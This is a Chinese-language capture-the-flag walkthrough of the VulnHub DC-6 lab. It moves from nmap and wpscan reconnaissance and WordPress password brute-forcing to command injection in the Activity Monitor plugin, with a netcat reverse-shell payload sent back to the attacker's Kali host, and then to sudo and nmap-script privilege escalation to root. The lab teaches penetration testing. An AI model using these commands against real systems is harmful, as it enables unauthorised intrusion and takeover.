DC-6
环境搭建
- 靶机镜像下载地址:https://vulnhub.com/entry/dc-6,315/
- 需要将靶机和 kali 攻击机放在同一个局域网里;
- 本实验kali 的 IP 地址:192.168.10.146。
渗透测试
使用 nmap 扫描 192.168.10.0/24 网段存活主机
┌──(root💀kali)-[~/桌面]
└─# nmap -sP 192.168.10.0/24
经判断,目标主机IP地址为192.168.10.151。
扫描开放的服务。
┌──(root💀kali)-[~/桌面]
└─# nmap -sS 192.168.10.151
扫描软件版本
┌──(root💀kali)-[~/桌面]
└─# nmap -sV -p 22,80 192.168.10.151
直接访问web服务,访问不到,需要添加hosts记录
┌──(root💀kali)-[~/桌面]
└─# vim /etc/hosts
192.168.10.151 wordy
┌──(root💀kali)-[~/桌面]
└─# whatweb http://192.168.10.151
打开网站,并没有特别的地方。
网站为WordPress。
扫一下网站目录,也没有特别的目录。
换用dirb扫一下网站目录
┌──(root💀kali)-[~/桌面]
└─# dirb http://wordy/
访问wp-admin,访问之后,出现了登录页。那么这里的思路就是使用暴力破解或者是SQL注入。
使用wordpress 的扫描工具wpscan扫一下
┌──(root💀kali)-[~/桌面]
└─# wpscan --url http://wordy/ -e // -e 枚举
枚举出来5个用户,
admin
graham
sarah
mark
jens
以此来创建一个用户名字典
┌──(root💀kali)-[~/桌面]
└─# vim wordy_user.txt
准备一个字典
┌──(root💀kali)-[~/桌面]
└─# gzip -dk /usr/share/wordlists/rockyou.txt.gz
┌──(root💀kali)-[~/桌面]
└─# ls /usr/share/wordlists/rockyou.txt
/usr/share/wordlists/rockyou.txt
使用wpscan对目标进行暴力破解
┌──(root💀kali)-[~/桌面]
└─# wpscan --url http://wordy/ -U wordy_user.txt -P /usr/share/wordlists/rockyou.txt
密码太多了,跑了3分多钟,才跑了0.01%
去DC-6的网站看看有什么提示线索。果然这里给出了线索,简化一下密码字典。
简化之后,重新跑一下吧~
┌──(root💀kali)-[~/桌面]
└─# cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt
┌──(root💀kali)-[~/桌面]
└─# wpscan --url http://wordy/ -U wordy_user.txt -P passwords.txt --max-threads 100
顺利跑出一个用户名和密码
用户名:mark
密码:helpdesk01
登录一下后台~
发现安装了Activity Monitor插件
经测试,这里可以进行远程代码执行。
输出的结果
既然可以正常执行系统命令,那尝试一下反弹shell。
kali开启监听
wp执行以下命令,但是网页输入框有长度限制,需要修改一下前端代码~
127.0.0.1 | nc 192.168.10.146 4444 -e /bin/bash
成功反弹shell
先获得一个交互shell
貌似还有另外一个方式:在msf中搜索一下该activity monitor插件相关利用脚本
msf6 > search activity monitor
然后我们就可以进行一系列操作,比如看/etc/passwd
或者是/home
下的敏感信息,然后在/home/mark
发现了敏感信息,如下图,似乎是grahm
的密码GSo7isUM1D4。
切换用户成功
当然,也在jens家目录下发现一个.sh文件,
并且全显示都可以执行。
查看一下grahm
用户的sudo授权,发现可以无密码以jens用户来执行backup.sh文件。
查看一下grahm所属的组,发现在devs组,也就是说,可以往backups.sh中写内容(该文件对devs组有w权限)。
向该文件中写入“/bin/bash”,然后使用sudo -u jens
以jens用户运行该脚本,成功登录到jens。
graham@dc-6:~$ echo "/bin/bash" > /home/jens/backups.sh
graham@dc-6:~$ sudo -u jens /home/jens/backups.sh
jens@dc-6:/home/graham$
通过sudo -l 查看jens的授权
发现可以以root身份执行nmap命令。
所以可以使用nmap来提权。
jens@dc-6:/home/graham$ cd ~
jens@dc-6:~$ echo "os.execute('/bin/bash')" > shell
jens@dc-6:~$ sudo nmap --script=shell
成功提权到root。
成功拿到flag:
🔗Reference:DC-6